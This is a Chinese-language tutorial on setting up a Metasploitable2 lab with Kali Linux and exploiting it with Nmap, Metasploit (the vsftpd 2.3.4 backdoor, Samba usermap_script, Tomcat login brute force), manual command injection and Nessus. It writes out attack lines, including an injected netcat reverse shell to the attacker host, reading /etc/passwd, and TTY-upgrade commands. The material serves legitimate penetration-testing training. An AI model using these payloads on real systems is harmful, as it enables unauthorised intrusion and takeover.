Metasploitable2靶场搭建与渗透测试实战:从Kali配置到漏洞利用 1. 项目概述为什么选择Metasploitable2作为你的第一个漏洞靶场如果你刚接触网络安全或者对Kali Linux里的那些炫酷工具感到既兴奋又无从下手那么你大概率听说过“靶场”这个词。简单来说靶场就是一个安全的、合法的、供你随意“开火”的练习场。而Metasploitable2无疑是这个领域里最经典、也最适合新手入门的“活靶子”之一。它不是某个真实的网站而是一个被故意植入了大量已知安全漏洞的Linux虚拟机。这意味着你可以毫无心理负担地在上面练习从信息收集、漏洞扫描到漏洞利用的完整渗透测试流程而不用担心触犯法律。为什么我强烈推荐小白从它开始首先它的漏洞是“已知”且“故意”存在的这降低了学习门槛。你不需要去猜测哪里可能有漏洞靶场的设计者已经为你准备好了从弱口令、SQL注入到远程代码执行的各种“经典考题”。其次它与Kali Linux的配合堪称天衣无缝。Kali自带的Nmap、Metasploit、Nessus等工具都能在Metasploitable2上找到完美的用武之地。最后围绕它的社区资源和教程极其丰富几乎你遇到的每一个问题都能在网上找到详细的解答。搭建它就是你从“看教程”到“亲手做”的关键一步。2. 环境准备与核心工具解析在开始动手之前我们需要把“战场”布置好。整个过程主要涉及两个核心组件攻击机Kali Linux和靶机Metasploitable2。它们通常运行在虚拟机环境中这样能保证与你真实的主机系统完全隔离安全又方便。2.1 虚拟机平台选型VMware还是VirtualBox这是你面临的第一个选择。两款都是优秀的免费虚拟机软件但侧重点略有不同。VMware Workstation Player免费版性能通常更优特别是图形和网络处理方面。它的虚拟网络配置功能非常强大和直观对于后续需要搭建复杂网络拓扑比如中间再放个防火墙的场景更友好。如果你追求稳定和性能且主机配置不错VMware是首选。Oracle VirtualBox完全免费开源功能足够满足绝大多数学习需求。它的快照功能非常方便可以随时保存和回退虚拟机的状态对于反复测试不同漏洞利用步骤的场景特别有用。如果你的主机资源相对紧张或者纯粹想用一款完全免费的工具VirtualBox是绝佳选择。我的实操心得我个人长期使用VMware因为它与Kali的兼容性似乎更好一些剪贴板共享、文件拖拽等集成功能更稳定。但VirtualBox的轻量和快照管理确实让人心动。对于纯新手我建议哪个顺手用哪个不必过于纠结我们的核心是学习安全技术不是比较虚拟化软件。确保你从官网下载即可。2.2 Kali Linux攻击机不仅仅是安装Kali Linux是我们的“武器库”。现在获取和安装Kali已经变得非常简单。获取镜像前往Kali官网下载最新的稳定版ISO镜像。对于新手推荐下载“Installer”版本它包含了图形化安装界面。安装系统在虚拟机中新建一台机器内存建议分配至少4GB2GB也能跑但会有点卡硬盘空间20GB以上。然后加载下载的ISO镜像启动虚拟机跟随图形化向导完成安装。过程中会设置用户名、密码和时区。关键一步更新与换源。安装完成后第一件事就是更新系统软件包列表。由于默认源可能在国外速度很慢我们需要更换为国内的镜像源这就是热词里“kali换源”的由来。打开终端备份原来的源列表文件sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak编辑源列表文件sudo nano /etc/apt/sources.list将文件内容替换为国内镜像源例如阿里云或中科大的源。以下是阿里云源的示例deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib保存退出在nano中按CtrlX 然后按Y 再按Enter。执行更新sudo apt update sudo apt upgrade -y。这个过程会下载并更新所有软件包需要一些时间。注意事项apt upgrade会升级所有已安装的包有时可能会引入不兼容问题。对于绝对稳定的学习环境你可以只做sudo apt update来更新列表而不进行upgrade。但作为新手靶场练习升级一般问题不大。2.3 Metasploitable2靶机下载与初始化Metasploitable2的获取更简单因为它本身就是一个预配置好的虚拟机文件。官方下载从SourceForge等可信平台搜索“Metasploitable2”进行下载。你会得到一个压缩包解压后里面通常包含.vmdk虚拟磁盘文件和.vmx虚拟机配置文件等文件。导入虚拟机VMware直接使用“打开虚拟机”功能选择解压目录下的.vmx文件即可。VirtualBox新建虚拟机类型选“Linux”版本选“Ubuntu”64-bit。在创建虚拟硬盘时选择“使用已有的虚拟硬盘文件”然后指向解压出来的.vmdk文件。网络配置重中之重为了让Kali能“打中”Metasploitable2它们必须在同一个网络内。最简便的方法是将两台虚拟机的网络适配器都设置为“NAT模式”。在NAT模式下虚拟机能通过主机上网并且虚拟机组成了一个独立的局域网它们之间可以相互通信。分别打开两台虚拟机的设置找到“网络适配器”选择“NAT模式”。启动靶机启动Metasploitable2虚拟机。它的默认登录凭证是用户名msfadmin密码msfadmin登录后你可以通过ifconfig命令查看它的IP地址记下这个地址通常是192.168.xxx.xxx的形式这就是我们后续攻击的目标。3. 网络连通性测试与信息收集在发动任何“攻击”之前侦察是必不可少的一步。我们需要确认攻击路径是通的并尽可能多地了解目标。3.1 确认靶机IP与网络连通性在Kali Linux中打开终端。首先我们需要知道靶机的确切IP。如果你已经登录Metasploitable2并看到了IP可以直接使用。如果不知道我们可以在Kali端进行探测。使用ping命令测试基础连通性。假设你从Metasploitable2上看到的IP是192.168.1.105。ping -c 4 192.168.1.105如果能看到回复reply说明网络是通的。如果不同请检查两台虚拟机的网络模式是否都设置为NAT。3.2 使用Nmap进行端口扫描与服务发现知道IP能ping通只是第一步接下来我们要用“黑客的眼睛”——Nmap来查看靶机上到底开放了哪些门端口门后又是谁服务。基础快速扫描这个命令会扫描最常见的1000个端口。nmap -sV 192.168.1.105-sV参数表示进行版本探测尝试识别运行在开放端口上的服务及其版本号。这是非常关键的一步因为很多漏洞只存在于特定版本的服务中。全面扫描如果你想更彻底可以扫描所有端口1-65535但这会慢很多。nmap -p- -sV 192.168.1.105-p-表示扫描所有端口。运行完nmap -sV后你可能会看到类似下面的输出这是Metasploitable2的典型结果PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) ...这份列表就是你的“漏洞地图”。例如你看到了FTP21端口、SSH22端口、一个Web服务器80端口等等。每个服务及其版本都可能对应着已知的漏洞。实操心得对于Metasploitable2我强烈建议先运行一次全面的nmap -sV扫描并把结果保存下来。你可以使用nmap -sV -oN scan_result.txt 192.168.1.105命令将结果输出到文件。这份列表是你后续所有练习的索引对照着它你可以逐个服务去研究、测试和利用。4. 漏洞利用实战从Web漏洞入手有了信息收集的结果我们就可以开始尝试攻击了。Web服务80端口通常是漏洞最多、也最适合新手入门的地方。我们以Metasploitable2上的几个经典Web漏洞为例。4.1 访问Web界面与初步探索在Kali的浏览器中直接输入靶机的IP地址例如http://192.168.1.105。你会看到Metasploitable2的默认页面上面列出了它包含的多个有漏洞的Web应用如DVWA、Mutillidae等。但Metasploitable2本身也自带了一些基础漏洞。4.2 实战利用Tomcat管理后台弱口令从Nmap扫描结果中你可能会发现8080端口开放运行着Apache Tomcat服务。Tomcat默认会有一个管理后台地址通常是http://192.168.1.105:8080/manager/html。尝试访问在浏览器打开上述地址。你会被要求输入用户名和密码。弱口令爆破Tomcat的默认安装常常使用弱口令。Metasploitable2中预设了经典的弱口令组合。你可以尝试用户名tomcat密码tomcat或者用户名admin密码admin成功登录使用tomcat/tomcat有很大概率成功登录。一旦进入管理后台你就获得了上传WAR包Java Web应用的权限这等同于获得了在服务器上执行代码的能力。利用Metasploit自动化利用我们也可以使用Kali自带的Metasploit框架来更“专业”地完成这个漏洞利用。在Kali终端输入msfconsole启动Metasploit。搜索Tomcat相关模块search tomcat manager使用其中一个认证爆破模块use auxiliary/scanner/http/tomcat_mgr_login查看需要设置的参数show options设置目标IPset RHOSTS 192.168.1.105设置端口如果不是默认8080set RPORT 8080运行runMetasploit会自动使用内置的字典尝试登录并反馈成功的凭证。注意事项在实际渗透测试中弱口令爆破需要谨慎因为可能会触发账户锁定机制或告警。但在Metasploitable2这个靶场里你可以放心尝试各种方法。这个过程让你理解默认配置和弱口令是安全中最常见、也最危险的漏洞之一。4.3 实战探索命令注入漏洞Metasploitable2上运行着一个有命令注入漏洞的简单PHP页面。你可以通过Nmap发现的端口和服务或者直接浏览其Web目录来寻找。寻找漏洞点访问http://192.168.1.105/dvwa/可以进入DVWADamn Vulnerable Web Application这是一个专门的安全练习平台需要登录默认admin/password。但Metasploitable2自身可能有一个更简单的例子。尝试访问http://192.168.1.105/vulnerabilities/exec/或类似路径具体路径可能需要你查看页面源码或使用目录扫描工具如dirb、gobuster来发现。理解漏洞原理假设你找到一个页面它有一个输入框让你输入一个IP地址来执行ping命令。后端代码可能不当地直接拼接了用户输入形成了ping -c 4 用户输入这样的系统命令。注入测试在输入框中不要只输入IP尝试输入8.8.8.8; whoami。分号;在Linux中用于分隔多条命令。如果页面在返回ping结果后还显示了当前系统用户如www-data或msfadmin那么命令注入就成功了。进一步利用你可以尝试更复杂的命令如8.8.8.8; cat /etc/passwd来读取系统密码文件影子文件或者8.8.8.8; nc -e /bin/bash 192.168.1.100 4444来尝试反弹一个shell到你的Kali机器你的Kali需要先用nc -lvp 4444监听4444端口。我的实操心得命令注入的利用方式非常灵活关键在于理解后端是如何处理你的输入的。除了分号;还可以尝试逻辑运算符、||以及反引号和$()来执行命令替换。在测试时从一个简单的whoami或id命令开始确认漏洞存在后再进行下一步操作避免因复杂命令导致页面无响应而无法判断。5. 集成化漏洞利用Metasploit框架深度体验Metasploit是渗透测试的瑞士军刀它将漏洞利用过程模块化、自动化。我们用它来攻击Metasploitable2上的另一个经典服务——VSFTPD 2.3.4。5.1 利用VSFTPD 2.3.4后门漏洞从之前的Nmap扫描中我们看到21端口运行着vsftpd 2.3.4。这个特定版本存在一个著名的后门漏洞。启动Metasploit在Kali终端输入msfconsole。搜索并选择漏洞模块search vsftpd 2.3.4 use exploit/unix/ftp/vsftpd_234_backdoor查看并设置参数show options set RHOSTS 192.168.1.105通常这个模块只需要设置目标地址RHOSTS即可。执行攻击exploit如果成功你会看到Metasploit返回一个命令行提示符例如shell这表示你已经获得了目标系统的一个命令行会话shell而且很可能是root权限与Shell交互在得到的shell里你可以尝试执行一些命令来验证。whoami id pwd你可能会看到root这证明利用完全成功你拿到了系统的最高权限。5.2 利用Samba服务漏洞Metasploitable2的Samba服务端口445也存在漏洞。我们可以用Metasploit来利用它。搜索Samba相关模块在msfconsole中search samba会列出很多。我们找一个经典的。使用usermap_script漏洞模块use exploit/multi/samba/usermap_script set RHOSTS 192.168.1.105 exploit获取Shell成功执行后同样会返回一个shell。你可以在这个shell里探索文件系统。注意事项使用Metasploit时exploit命令可能会因为网络、目标服务状态等原因失败。如果失败可以多尝试几次或者使用run命令与exploit等价。拿到shell后这个shell可能是一个“哑巴shell”dumb shell没有交互能力比如不能使用上下键调历史命令不能清屏。这时你可以使用Python或其它方法来生成一个更友好的TTY shell。例如在获得的shell里输入python -c import pty; pty.spawn(/bin/bash)。6. 漏洞扫描与评估Nessus实战除了手动利用特定漏洞我们还可以使用专业的漏洞扫描器来对靶机进行一次全面的“体检”。Nessus是业界最知名的漏洞扫描工具之一Kali Linux也提供了它的安装方式。6.1 在Kali上安装与激活Nessus下载访问Tenable官网Nessus开发商注册一个账户可以获取到家庭版免费但限制扫描IP数量的激活码。同时下载对应Kali Linux64位的.deb安装包。安装在下载目录执行sudo dpkg -i Nessus-*.deb进行安装。启动服务sudo systemctl start nessusd初始化打开浏览器访问https://kali-local-ip:8834例如https://127.0.0.1:8834。首次访问需要等待Nessus初始化然后按照向导创建管理员账户并输入你从官网获取的激活码。6.2 配置扫描任务并分析报告新建扫描登录Nessus后点击“New Scan”选择“Basic Network Scan”。配置目标在“Settings”中给扫描任务起个名字如“Metasploitable2 Full Scan”。在“Targets”中填入靶机的IP地址192.168.1.105。启动扫描保存并启动扫描。扫描时间取决于策略和网络状况通常几分钟到十几分钟。阅读报告扫描完成后点击查看报告。你会看到按风险等级Critical, High, Medium, Low排列的漏洞列表。每个漏洞都有详细的描述、风险评分、受影响的端口/服务以及修复建议。例如它会明确指出VSFTPD 2.3.4的后门漏洞、Samba的漏洞、Apache Tomcat的弱口令问题等。我的实操心得Nessus的报告是极佳的学习材料。不要只看风险等级要点开每一个中高级别的漏洞仔细阅读它的“Description”描述漏洞原理和“Solution”修复建议。这能帮你从防御者的角度理解这个漏洞为什么危险以及应该如何修补。将Nessus的发现与你手动利用的漏洞进行对照能让你对漏洞的理解更加立体。7. 常见问题与排查技巧实录在搭建和练习过程中你几乎一定会遇到一些问题。这里我总结几个最常见的坑和解决办法。7.1 网络不通Ping不通靶机这是最高频的问题。检查虚拟机网络设置确保Kali和Metasploitable2两台虚拟机的网络适配器都设置为“NAT模式”或“桥接模式”但NAT更简单。不要一个用NAT一个用仅主机模式。检查防火墙在Metasploitable2上可以临时关闭防火墙进行测试虽然靶机通常默认关闭。命令sudo ufw disable如果安装了UFW。检查IP网段在Kali里用ip addr或ifconfig查看自己的IP在Metasploitable2里也查看一下。确保它们在同一个子网内如都是192.168.1.x。如果Kali是192.168.1.x而Metasploitable2是192.168.122.x这是libvirt/KVM的常见网段那肯定不通。这时需要统一网络模式。终极排查在Kali上使用arp-scan -l命令扫描本地网络中的所有设备看看能否发现靶机的MAC地址和IP。7.2 Metasploit模块执行失败不返回Shell检查服务状态确保靶机上对应的服务正在运行。例如利用VSFTPD漏洞前用netstat -tulnp | grep :21在靶机上看看21端口是否在监听。检查参数在msfconsole里用show options仔细核对所有Required参数是否都已正确设置特别是RHOSTS。尝试其他Payload有时候默认的Payload不兼容。使用show payloads查看可用的然后尝试换一个。例如将set payload cmd/unix/interact换成set payload cmd/unix/reverse并设置好你Kali的IPLHOST和监听端口LPORT。查看详细输出在运行exploit前可以设置set VERBOSE true来获取更详细的输出信息有助于判断失败原因。7.3 从Metasploit获得的Shell无法交互这是一个非常典型的问题你拿到了shell但输入命令没反应或者按退格键、CtrlC会出现乱码。升级到完全交互式Shell在得到的简陋shell里尝试输入以下命令之一python -c import pty; pty.spawn(/bin/bash)或者如果系统没有pythonecho os.system(/bin/bash)或者使用socat、script等工具但Python方法是最常用的。如果Python成功你通常会看到提示符变成bash样式。接着再按CtrlZ将当前会话放到后台然后在Kali终端输入stty raw -echo; fg输入后按一次回车。这样就能得到一个支持历史命令、tab补全的完整TTY shell了。7.4 忘记Metasploitable2的登录密码虽然默认是msfadmin/msfadmin但如果你修改了又忘了可以在虚拟机启动时在GRUB引导界面通常一闪而过需要快速按Shift或Esc键选择恢复模式recovery mode。进入恢复菜单后选择“root Drop to root shell prompt”。此时你拥有root权限可以执行passwd msfadmin来修改msfadmin用户的密码。重启系统reboot -f。搭建并征服Metasploitable2靶场只是你网络安全学习长征路上的第一步。这个靶场像一本立体的漏洞百科全书每一个服务、每一个端口背后都藏着安全领域的一个经典知识点。我建议你不要满足于按照教程复现一遍。最好的学习方式是针对Nmap扫描出的每一个开放端口去主动搜索它的服务名称和版本号研究它历史上存在过哪些著名漏洞然后尝试用手动或Metasploit的方式去复现它。这个过程会迫使你去阅读漏洞公告CVE、理解漏洞原理、练习利用技巧。当你把Metasploitable2上的大部分漏洞都摸透之后你对渗透测试的基本流程、常用工具和核心思维就会有一个非常扎实的入门基础了。那时你就可以自信地去挑战像DVWA、Pikachu、Upload-Labs这些更专注于某一类漏洞的Web靶场了。